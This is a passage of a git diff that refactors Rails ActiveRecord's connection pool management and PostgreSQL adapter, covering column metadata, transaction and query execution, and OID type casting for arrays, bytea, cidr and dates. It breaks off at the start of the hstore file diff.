+        @schema_reflection ||= SchemaReflection.new(db_config.lazy_schema_cache_path)
+      end
+
+      INSTANCES = ObjectSpace::WeakMap.new
+      private_constant :INSTANCES
+
+      class << self
+        def discard_pools!
+          INSTANCES.each_key(&:discard_pool!)
+        end
+
+        def disconnect_all!
+          INSTANCES.each_key { |c| c.disconnect!(automatic_reconnect: true) }
+        end
+      end
+
+      def initialize(connection_class, db_config, role, shard)
+        super()
+        @server_version = nil
+        self.connection_descriptor = connection_class
+        @db_config = db_config
+        @role = role
+        @shard = shard
+        @pool = nil
+        INSTANCES[self] = self
+      end
+
+      def server_version(connection)
+        @server_version || synchronize { @server_version ||= connection.get_database_version }
+      end
+
+      def connection_descriptor=(connection_descriptor)
+        case connection_descriptor
+        when ConnectionHandler::ConnectionDescriptor
+          @connection_descriptor = connection_descriptor
+        else
+          @connection_descriptor = ConnectionHandler::ConnectionDescriptor.new(connection_descriptor.name, connection_descriptor.primary_class?)
+        end
+      end
+
+      def disconnect!(automatic_reconnect: false)
+        return unless @pool
+
+        synchronize do
+          return unless @pool
+
+          @pool.automatic_reconnect = automatic_reconnect
+          @pool.disconnect!
+        end
+
+        nil
+      end
+
+      def pool
+        @pool || synchronize { @pool ||= ConnectionAdapters::ConnectionPool.new(self) }
+      end
+
+      def discard_pool!
+        return unless @pool
+
+        synchronize do
+          return unless @pool
+
+          @pool.discard!
+          @pool = nil
+        end
+      end
+    end
+  end
+end
+
+ActiveSupport::ForkTracker.after_fork { ActiveRecord::ConnectionAdapters::PoolConfig.discard_pools! }
diff --git a/activerecord/lib/active_record/connection_adapters/pool_manager.rb b/activerecord/lib/active_record/connection_adapters/pool_manager.rb
new file mode 100644
index 0000000000000..cb09694327886
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/pool_manager.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PoolManager # :nodoc:
+      def initialize
+        @role_to_shard_mapping = Hash.new { |h, k| h[k] = {} }
+      end
+
+      def shard_names
+        @role_to_shard_mapping.values.flat_map { |shard_map| shard_map.keys }.uniq
+      end
+
+      def role_names
+        @role_to_shard_mapping.keys
+      end
+
+      def pool_configs(role = nil)
+        if role
+          @role_to_shard_mapping[role].values
+        else
+          @role_to_shard_mapping.flat_map { |_, shard_map| shard_map.values }
+        end
+      end
+
+      def each_pool_config(role = nil, &block)
+        if role
+          @role_to_shard_mapping[role].each_value(&block)
+        else
+          @role_to_shard_mapping.each_value do |shard_map|
+            shard_map.each_value(&block)
+          end
+        end
+      end
+
+      def remove_role(role)
+        @role_to_shard_mapping.delete(role)
+      end
+
+      def remove_pool_config(role, shard)
+        @role_to_shard_mapping[role].delete(shard)
+      end
+
+      def get_pool_config(role, shard)
+        @role_to_shard_mapping[role][shard]
+      end
+
+      def set_pool_config(role, shard, pool_config)
+        if pool_config
+          @role_to_shard_mapping[role][shard] = pool_config
+        else
+          raise ArgumentError, "The `pool_config` for the :#{role} role and :#{shard} shard was `nil`. Please check your configuration. If you want your writing role to be something other than `:writing` set `config.active_record.writing_role` in your application configuration. The same setting should be applied for the `reading_role` if applicable."
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/column.rb b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb
index 3ad1911a281e1..d6a0cc195649e 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/column.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb
@@ -1,15 +1,86 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
-    # PostgreSQL-specific extensions to column definitions in a table.
-    class PostgreSQLColumn < Column #:nodoc:
-      delegate :array, :oid, :fmod, to: :sql_type_metadata
-      alias :array? :array
+    module PostgreSQL
+      class Column < ConnectionAdapters::Column # :nodoc:
+        delegate :oid, :fmod, to: :sql_type_metadata
+
+        def initialize(*, serial: nil, identity: nil, generated: nil, **)
+          super
+          @serial = serial
+          @identity = identity
+          @generated = generated
+        end
+
+        def identity?
+          @identity
+        end
+
+        def serial?
+          @serial
+        end
+
+        def auto_incremented_by_db?
+          serial? || identity?
+        end
+
+        def virtual?
+          # We assume every generated column is virtual, no matter the concrete type
+          @generated.present?
+        end
+
+        def virtual_stored?
+          @generated == "s"
+        end
+
+        def has_default?
+          super && !virtual?
+        end
+
+        def array
+          sql_type_metadata.sql_type.end_with?("[]")
+        end
+        alias :array? :array
+
+        def enum?
+          type == :enum
+        end
+
+        def sql_type
+          super.delete_suffix("[]")
+        end
+
+        def init_with(coder)
+          @serial = coder["serial"]
+          @identity = coder["identity"]
+          @generated = coder["generated"]
+          super
+        end
+
+        def encode_with(coder)
+          coder["serial"] = @serial
+          coder["identity"] = @identity
+          coder["generated"] = @generated
+          super
+        end
 
-      def serial?
-        return unless default_function
+        def ==(other)
+          other.is_a?(Column) &&
+            super &&
+            identity? == other.identity? &&
+            serial? == other.serial?
+        end
+        alias :eql? :==
 
-        %r{\Anextval\('"?#{table_name}_#{name}_seq"?'::regclass\)\z} === default_function
+        def hash
+          Column.hash ^
+            super.hash ^
+            identity?.hash ^
+            serial?.hash
+        end
       end
     end
+    PostgreSQLColumn = PostgreSQL::Column # :nodoc:
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
index 705e6063dcc1e..99a3dde9875dd 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
@@ -1,144 +1,57 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module DatabaseStatements
-        def explain(arel, binds = [])
-          sql = "EXPLAIN #{to_sql(arel, binds)}"
-          PostgreSQL::ExplainPrettyPrinter.new.pp(exec_query(sql, "EXPLAIN", binds))
-        end
-
-        def select_value(arel, name = nil, binds = []) # :nodoc:
-          select_result(arel, name, binds) do |result|
-            result.getvalue(0, 0) if result.ntuples > 0 && result.nfields > 0
-          end
+        def explain(arel, binds = [], options = [])
+          sql    = build_explain_clause(options) + " " + to_sql(arel, binds)
+          result = select_all(sql, "EXPLAIN", binds)
+          PostgreSQL::ExplainPrettyPrinter.new.pp(result)
         end
 
-        def select_values(arel, name = nil, binds = []) # :nodoc:
-          select_result(arel, name, binds) do |result|
-            if result.nfields > 0
-              result.column_values(0)
-            else
-              []
-            end
-          end
-        end
-
-        # Executes a SELECT query and returns an array of rows. Each row is an
-        # array of field values.
-        def select_rows(arel, name = nil, binds = []) # :nodoc:
-          select_result(arel, name, binds) do |result|
-            result.values
-          end
+        # Queries the database and returns the results in an Array-like object
+        def query_rows(sql, name = "SCHEMA", allow_retry: true, materialize_transactions: false) # :nodoc:
+          intent = internal_build_intent(sql, name, allow_retry:, materialize_transactions:)
+          intent.execute!
+          result = intent.raw_result
+          result.map_types!(@type_map_for_results).values
         end
 
-        # The internal PostgreSQL identifier of the money data type.
-        MONEY_COLUMN_TYPE_OID = 790 #:nodoc:
-        # The internal PostgreSQL identifier of the BYTEA data type.
-        BYTEA_COLUMN_TYPE_OID = 17 #:nodoc:
-
-        # create a 2D array representing the result set
-        def result_as_array(res) #:nodoc:
-          # check if we have any binary column and if they need escaping
-          ftypes = Array.new(res.nfields) do |i|
-            [i, res.ftype(i)]
-          end
-
-          rows = res.values
-          return rows unless ftypes.any? { |_, x|
-            x == BYTEA_COLUMN_TYPE_OID || x == MONEY_COLUMN_TYPE_OID
-          }
-
-          typehash = ftypes.group_by { |_, type| type }
-          binaries = typehash[BYTEA_COLUMN_TYPE_OID] || []
-          monies   = typehash[MONEY_COLUMN_TYPE_OID] || []
-
-          rows.each do |row|
-            # unescape string passed BYTEA field (OID == 17)
-            binaries.each do |index, _|
-              row[index] = unescape_bytea(row[index])
-            end
-
-            # If this is a money type column and there are any currency symbols,
-            # then strip them off. Indeed it would be prettier to do this in
-            # PostgreSQLColumn.string_to_decimal but would break form input
-            # fields that call value_before_type_cast.
-            monies.each do |index, _|
-              data = row[index]
-              # Because money output is formatted according to the locale, there are two
-              # cases to consider (note the decimal separators):
-              #  (1) $12,345,678.12
-              #  (2) $12.345.678,12
-              case data
-              when /^-?\D+[\d,]+\.\d{2}$/  # (1)
-                data.gsub!(/[^-\d.]/, "")
-              when /^-?\D+[\d.]+,\d{2}$/  # (2)
-                data.gsub!(/[^-\d,]/, "").sub!(/,/, ".")
-              end
-            end
-          end
-        end
+        READ_QUERY = ActiveRecord::ConnectionAdapters::AbstractAdapter.build_read_query_regexp(
+          :close, :declare, :fetch, :move, :set, :show
+        ) # :nodoc:
+        private_constant :READ_QUERY
 
-        # Queries the database and returns the results in an Array-like object
-        def query(sql, name = nil) #:nodoc:
-          log(sql, name) do
-            ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
-              result_as_array @connection.async_exec(sql)
-            end
-          end
+        def write_query?(sql) # :nodoc:
+          !READ_QUERY.match?(sql)
+        rescue ArgumentError # Invalid encoding
+          !READ_QUERY.match?(sql.b)
         end
 
         # Executes an SQL statement, returning a PG::Result object on success
         # or raising a PG::Error exception otherwise.
+        #
+        # Setting +allow_retry+ to true causes the db to reconnect and retry
+        # executing the SQL statement in case of a connection-related exception.
+        # This option should only be enabled for known idempotent queries.
+        #
         # Note: the PG::Result object is manually memory managed; if you don't
         # need it specifically, you may want consider the <tt>exec_query</tt> wrapper.
-        def execute(sql, name = nil)
-          log(sql, name) do
-            ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
-              @connection.async_exec(sql)
-            end
-          end
-        end
-
-        def exec_query(sql, name = "SQL", binds = [], prepare: false)
-          execute_and_clear(sql, name, binds, prepare: prepare) do |result|
-            types = {}
-            fields = result.fields
-            fields.each_with_index do |fname, i|
-              ftype = result.ftype i
-              fmod  = result.fmod i
-              types[fname] = get_oid_type(ftype, fmod, fname)
-            end
-            ActiveRecord::Result.new(fields, result.values, types)
-          end
-        end
-
-        def exec_delete(sql, name = nil, binds = [])
-          execute_and_clear(sql, name, binds) { |result| result.cmd_tuples }
-        end
-        alias :exec_update :exec_delete
-
-        def sql_for_insert(sql, pk, id_value, sequence_name, binds) # :nodoc:
-          if pk.nil?
-            # Extract the table from the insert sql. Yuck.
-            table_ref = extract_table_ref_from_insert_sql(sql)
-            pk = primary_key(table_ref) if table_ref
-          end
-
-          if pk = suppress_composite_primary_key(pk)
-            sql = "#{sql} RETURNING #{quote_column_name(pk)}"
-          end
-
+        def execute(...) # :nodoc:
           super
+        ensure
+          @notice_receiver_sql_warnings = []
         end
-        private :sql_for_insert
 
-        def exec_insert(sql, name = nil, binds = [], pk = nil, sequence_name = nil)
+        def _exec_insert(intent, pk = nil, sequence_name = nil, returning: nil) # :nodoc:
           if use_insert_returning? || pk == false
             super
           else
-            result = exec_query(sql, name, binds)
+            intent.execute!
+            result = intent.cast_result
             unless sequence_name
-              table_ref = extract_table_ref_from_insert_sql(sql)
+              table_ref = extract_table_ref_from_insert_sql(intent.raw_sql)
               if table_ref
                 pk = primary_key(table_ref) if pk.nil?
                 pk = suppress_composite_primary_key(pk)
@@ -146,43 +59,196 @@ def exec_insert(sql, name = nil, binds = [], pk = nil, sequence_name = nil)
               end
               return result unless sequence_name
             end
-            last_insert_id_result(sequence_name)
+
+            query_all("SELECT currval(#{quote(sequence_name)})", "SQL")
           end
         end
 
         # Begins a transaction.
-        def begin_db_transaction
-          execute "BEGIN"
+        def begin_db_transaction # :nodoc:
+          query_command("BEGIN", "TRANSACTION", allow_retry: true, materialize_transactions: false)
         end
 
-        def begin_isolated_db_transaction(isolation)
-          begin_db_transaction
-          execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
+        def begin_isolated_db_transaction(isolation) # :nodoc:
+          query_command("BEGIN ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}", "TRANSACTION", allow_retry: true, materialize_transactions: false)
         end
 
         # Commits a transaction.
-        def commit_db_transaction
-          execute "COMMIT"
+        def commit_db_transaction # :nodoc:
+          query_command("COMMIT", "TRANSACTION", allow_retry: false, materialize_transactions: true)
         end
 
         # Aborts a transaction.
-        def exec_rollback_db_transaction
-          execute "ROLLBACK"
+        def exec_rollback_db_transaction # :nodoc:
+          cancel_any_running_query
+          query_command("ROLLBACK", "TRANSACTION", allow_retry: false, materialize_transactions: true)
+        end
+
+        def exec_restart_db_transaction # :nodoc:
+          cancel_any_running_query
+          query_command("ROLLBACK AND CHAIN", "TRANSACTION", allow_retry: false, materialize_transactions: true)
+        end
+
+        # From https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-CURRENT
+        HIGH_PRECISION_CURRENT_TIMESTAMP = Arel.sql("CURRENT_TIMESTAMP", retryable: true).freeze # :nodoc:
+        private_constant :HIGH_PRECISION_CURRENT_TIMESTAMP
+
+        def high_precision_current_timestamp
+          HIGH_PRECISION_CURRENT_TIMESTAMP
+        end
+
+        def build_explain_clause(options = [])
+          return "EXPLAIN" if options.empty?
+
+          options = options.flat_map do |option|
+            option.is_a?(Hash) ? option.to_a.map { |nested| nested.join(" ") } : option
+          end
+
+          "EXPLAIN (#{options.join(", ").upcase})"
+        end
+
+        # Set when constraints will be checked for the current transaction.
+        #
+        # Not passing any specific constraint names will set the value for all deferrable constraints.
+        #
+        # [<tt>deferred</tt>]
+        #   Valid values are +:deferred+ or +:immediate+.
+        #
+        # See https://www.postgresql.org/docs/current/sql-set-constraints.html
+        def set_constraints(deferred, *constraints)
+          unless %i[deferred immediate].include?(deferred)
+            raise ArgumentError, "deferred must be :deferred or :immediate"
+          end
+
+          constraints = if constraints.empty?
+            "ALL"
+          else
+            constraints.map { |c| quote_table_name(c) }.join(", ")
+          end
+          execute("SET CONSTRAINTS #{constraints} #{deferred.to_s.upcase}")
+        end
+
+        def execute_batch(statements, name = nil, **kwargs) # :nodoc:
+          intent = QueryIntent.new(
+            adapter: self,
+            processed_sql: combine_multi_statements(statements),
+            name: name,
+            batch: true,
+            binds: kwargs[:binds] || [],
+            prepare: kwargs[:prepare] || false,
+            allow_async: kwargs[:async] || false,
+            allow_retry: kwargs[:allow_retry] || false,
+            materialize_transactions: kwargs[:materialize_transactions] != false
+          )
+          intent.execute!
+          intent.finish
         end
 
         private
+          IDLE_TRANSACTION_STATUSES = [PG::PQTRANS_IDLE, PG::PQTRANS_INTRANS, PG::PQTRANS_INERROR]
+          private_constant :IDLE_TRANSACTION_STATUSES
+
+          def cancel_any_running_query
+            return if @raw_connection.nil? || IDLE_TRANSACTION_STATUSES.include?(@raw_connection.transaction_status)
+
+            # Skip @raw_connection.cancel (PG::Connection#cancel) when using libpq >= 18 with pg < 1.6.0,
+            # because the pg gem cannot obtain the backend_key in that case.
+            # This method is only called from exec_rollback_db_transaction and exec_restart_db_transaction.
+            # Even without cancel, rollback will still run. However, since any running
+            # query must finish first, the rollback may take longer.
+            if !(PG.library_version >= 18_00_00 && Gem::Version.new(PG::VERSION) < Gem::Version.new("1.6.0"))
+              @raw_connection.cancel
+            end
+            @raw_connection.block
+          rescue PG::Error
+          end
+
+          def perform_query(raw_connection, intent)
+            update_typemap_for_default_timezone
+            result = if intent.prepare
+              begin
+                stmt_key = prepare_statement(intent.processed_sql, intent.binds, raw_connection)
+                intent.notification_payload[:statement_name] = stmt_key
+                raw_connection.exec_prepared(stmt_key, intent.type_casted_binds)
+              rescue PG::FeatureNotSupported => error
+                if is_cached_plan_failure?(error)
+                  # Nothing we can do if we are in a transaction because all commands
+                  # will raise InFailedSQLTransaction
+                  if in_transaction?
+                    raise PreparedStatementCacheExpired.new(error.message, connection_pool: @pool)
+                  else
+                    @lock.synchronize do
+                      # outside of transactions we can simply flush this query and retry
+                      @statements.delete sql_key(intent.processed_sql)
+                    end
+                    retry
+                  end
+                end
+
+                raise
+              end
+            elsif intent.has_binds?
+              raw_connection.exec_params(intent.processed_sql, intent.type_casted_binds)
+            else
+              raw_connection.async_exec(intent.processed_sql)
+            end
+
+            verified!
+
+            intent.notification_payload[:affected_rows] = result.cmd_tuples
+            intent.notification_payload[:row_count] = result.ntuples
+            result
+          end
+
+          def cast_result(result)
+            ar_result = if result.fields.empty?
+              ActiveRecord::Result.empty(affected_rows: result.cmd_tuples)
+            else
+              fields = result.fields
+              types = Array.new(fields.size)
+              fields.size.times do |index|
+                ftype = result.ftype(index)
+                fmod  = result.fmod(index)
+                types[index] = get_oid_type(ftype, fmod, fields[index])
+              end
+
+              ActiveRecord::Result.new(fields, result.values, types.freeze, affected_rows: result.cmd_tuples)
+            end
+
+            result.clear
+            ar_result
+          end
+
+          def affected_rows(result)
+            affected_rows = result.cmd_tuples
+            result.clear
+            affected_rows
+          end
+
+          def build_truncate_statements(table_names)
+            ["TRUNCATE TABLE #{table_names.map(&method(:quote_table_name)).join(", ")}"]
+          end
+
+          def returning_column_values(result)
+            result.rows.first
+          end
 
           def suppress_composite_primary_key(pk)
             pk unless pk.is_a?(Array)
           end
 
-          def select_result(arel, name, binds)
-            arel, binds = binds_from_relation(arel, binds)
-            sql = to_sql(arel, binds)
-            execute_and_clear(sql, name, binds) do |result|
-              yield result
+          def handle_warnings(result, sql)
+            @notice_receiver_sql_warnings.each do |warning|
+              next if warning_ignored?(warning)
+
+              warning.sql = sql
+              ActiveRecord.db_warnings_action.call(warning)
             end
           end
+
+          def warning_ignored?(warning)
+            ["WARNING", "ERROR", "FATAL", "PANIC"].exclude?(warning.level) || super
+          end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer.rb b/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer.rb
index 99f3a5bbdf99b..086a5dcc15e40 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
index 4098250f3ec6d..30f0d49adc71e 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
@@ -1,21 +1,27 @@
+# frozen_string_literal: true
+
 require "active_record/connection_adapters/postgresql/oid/array"
 require "active_record/connection_adapters/postgresql/oid/bit"
 require "active_record/connection_adapters/postgresql/oid/bit_varying"
 require "active_record/connection_adapters/postgresql/oid/bytea"
 require "active_record/connection_adapters/postgresql/oid/cidr"
+require "active_record/connection_adapters/postgresql/oid/date"
 require "active_record/connection_adapters/postgresql/oid/date_time"
 require "active_record/connection_adapters/postgresql/oid/decimal"
 require "active_record/connection_adapters/postgresql/oid/enum"
 require "active_record/connection_adapters/postgresql/oid/hstore"
 require "active_record/connection_adapters/postgresql/oid/inet"
-require "active_record/connection_adapters/postgresql/oid/json"
+require "active_record/connection_adapters/postgresql/oid/interval"
 require "active_record/connection_adapters/postgresql/oid/jsonb"
+require "active_record/connection_adapters/postgresql/oid/macaddr"
 require "active_record/connection_adapters/postgresql/oid/money"
 require "active_record/connection_adapters/postgresql/oid/oid"
 require "active_record/connection_adapters/postgresql/oid/point"
 require "active_record/connection_adapters/postgresql/oid/legacy_point"
 require "active_record/connection_adapters/postgresql/oid/range"
 require "active_record/connection_adapters/postgresql/oid/specialized_string"
+require "active_record/connection_adapters/postgresql/oid/timestamp"
+require "active_record/connection_adapters/postgresql/oid/timestamp_with_time_zone"
 require "active_record/connection_adapters/postgresql/oid/uuid"
 require "active_record/connection_adapters/postgresql/oid/vector"
 require "active_record/connection_adapters/postgresql/oid/xml"
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb
index e1a75f8e5eee2..752f1c64726de 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module OID # :nodoc:
         class Array < Type::Value # :nodoc:
-          include Type::Helpers::Mutable
+          include ActiveModel::Type::Helpers::Mutable
 
           Data = Struct.new(:encoder, :values) # :nodoc:
 
@@ -14,8 +16,8 @@ def initialize(subtype, delimiter = ",")
             @subtype = subtype
             @delimiter = delimiter
 
-            @pg_encoder = PG::TextEncoder::Array.new name: "#{type}[]", delimiter: delimiter
-            @pg_decoder = PG::TextDecoder::Array.new name: "#{type}[]", delimiter: delimiter
+            @pg_encoder = PG::TextEncoder::Array.new(name: "#{type}[]".freeze, delimiter: delimiter).freeze
+            @pg_decoder = PG::TextDecoder::Array.new(name: "#{type}[]".freeze, delimiter: delimiter).freeze
           end
 
           def deserialize(value)
@@ -23,7 +25,7 @@ def deserialize(value)
             when ::String
               type_cast_array(@pg_decoder.decode(value), :deserialize)
             when Data
-              deserialize(value.values)
+              type_cast_array(value.values, :deserialize)
             else
               super
             end
@@ -31,7 +33,13 @@ def deserialize(value)
 
           def cast(value)
             if value.is_a?(::String)
-              value = @pg_decoder.decode(value)
+              value = begin
+                @pg_decoder.decode(value)
+              rescue TypeError
+                # malformed array string is treated as [], will raise in PG 2.0 gem
+                # this keeps a consistent implementation
+                []
+              end
             end
             type_cast_array(value, :cast)
           end
@@ -57,15 +65,18 @@ def type_cast_for_schema(value)
           end
 
           def map(value, &block)
-            value.map(&block)
+            value.is_a?(::Array) ? value.map(&block) : subtype.map(value, &block)
           end
 
           def changed_in_place?(raw_old_value, new_value)
             deserialize(raw_old_value) != new_value
           end
 
-          private
+          def force_equality?(value)
+            value.is_a?(::Array)
+          end
 
+          private
             def type_cast_array(value, method)
               if value.is_a?(::Array)
                 value.map { |item| type_cast_array(item, method) }
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb
index 0a505f46a767d..e9a79526f9b70 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
@@ -41,10 +43,7 @@ def hex?
               /\A[0-9A-F]*\Z/i.match?(value)
             end
 
-            # TODO Change this to private once we've dropped Ruby 2.2 support.
-            # Workaround for Ruby 2.2 "private attribute?" warning.
-            protected
-
+            private
               attr_reader :value
           end
         end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb
index 4c21097d48f71..dc7079dda2d8c 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb
index 8f9d6e7f9b35a..d2b3ac34827b4 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb
@@ -1,12 +1,43 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module OID # :nodoc:
         class Bytea < Type::Binary # :nodoc:
           def deserialize(value)
-            return if value.nil?
-            return value.to_s if value.is_a?(Type::Binary::Data)
-            PGconn.unescape_bytea(super)
+            case value
+            when nil
+              return
+
+            when Type::Binary::Data
+              result = value.to_s
+              if result.instance_variable_defined?(:@ar_pg_bytea_decoded)
+                result = result.dup
+                result.remove_instance_variable(:@ar_pg_bytea_decoded)
+              end
+              return result
+
+            when String
+              if value.instance_variable_get(:@ar_pg_bytea_decoded)
+                result = value.dup
+                result.remove_instance_variable(:@ar_pg_bytea_decoded)
+                return result
+
+              elsif value.encoding == Encoding::BINARY &&
+                  !value.instance_variable_defined?(:@ar_pg_bytea_decoded)
+
+                ActiveRecord.deprecator.warn(<<~MSG.squish)
+                  bytea column received a binary string for unescaping. In Rails 8.3, binary strings
+                  will be treated as already unescaped.
+                MSG
+              end
+
+            else
+              value = super
+            end
+
+            PG::Connection.unescape_bytea(value)
           end
         end
       end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb
index 5225609e370a4..1b5a688f55f27 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "ipaddr"
 
 module ActiveRecord
@@ -10,24 +12,28 @@ def type
           end
 
           def type_cast_for_schema(value)
-            subnet_mask = value.instance_variable_get(:@mask_addr)
-
             # If the subnet mask is equal to /32, don't output it
-            if subnet_mask == (2**32 - 1)
+            if value.prefix == 32
               "\"#{value}\""
             else
-              "\"#{value}/#{subnet_mask.to_s(2).count('1')}\""
+              "\"#{value}/#{value.prefix}\""
             end
           end
 
           def serialize(value)
             if IPAddr === value
-              "#{value}/#{value.instance_variable_get(:@mask_addr).to_s(2).count('1')}"
+              "#{value}/#{value.prefix}"
             else
               value
             end
           end
 
+          # TODO: Remove when IPAddr#== compares IPAddr#prefix. See
+          # https://github.com/ruby/ipaddr/issues/21
+          def changed?(old_value, new_value, _new_value_before_type_cast)
+            !old_value.eql?(new_value) || !old_value.nil? && old_value.prefix != new_value.prefix
+          end
+
           def cast_value(value)
             if value.nil?
               nil
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/date.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date.rb
new file mode 100644
index 0000000000000..633d7ddd9e5d1
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Date < Type::Date # :nodoc:
+          def cast_value(value)
+            case value
+            when "infinity" then ::Float::INFINITY
+            when "-infinity" then -::Float::INFINITY
+            when / BC$/
+              value = value.sub(/^\d+/) { |year| format("%04d", -year.to_i + 1) }
+              super(value.delete_suffix!(" BC"))
+            else
+              super
+            end
+          end
+
+          def type_cast_for_schema(value)
+            case value
+            when ::Float::INFINITY then "::Float::INFINITY"
+            when -::Float::INFINITY then "-::Float::INFINITY"
+            else super
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb
index b7acbf7178ddf..fe29ebb8a0673 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
@@ -8,12 +10,25 @@ def cast_value(value)
             when "infinity" then ::Float::INFINITY
             when "-infinity" then -::Float::INFINITY
             when / BC$/
-              astronomical_year = format("%04d", -value[/^\d+/].to_i + 1)
-              super(value.sub(/ BC$/, "").sub(/^\d+/, astronomical_year))
+              value = value.sub(/^\d+/) { |year| format("%04d", -year.to_i + 1) }
+              super(value.delete_suffix!(" BC"))
             else
               super
             end
           end
+
+          def type_cast_for_schema(value)
+            case value
+            when ::Float::INFINITY then "::Float::INFINITY"
+            when -::Float::INFINITY then "-::Float::INFINITY"
+            else super
+            end
+          end
+
+          protected
+            def real_type_unless_aliased(real_type)
+              ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type == real_type ? :datetime : real_type
+            end
         end
       end
     end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb
index 43d22c8daf675..e7d33855c45a9 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module OID # :nodoc:
         class Decimal < Type::Decimal # :nodoc:
           def infinity(options = {})
-            BigDecimal.new("Infinity") * (options[:negative] ? -1 : 1)
+            BigDecimal("Infinity") * (options[:negative] ? -1 : 1)
           end
         end
       end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb
index 950d23d516328..bae34472e13a4 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
@@ -8,7 +10,6 @@ def type
           end
 
           private
-
             def cast_value(value)
               value.to_s
             end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb
index 49dd4fc73fea7..d6f60f563e76c 100644
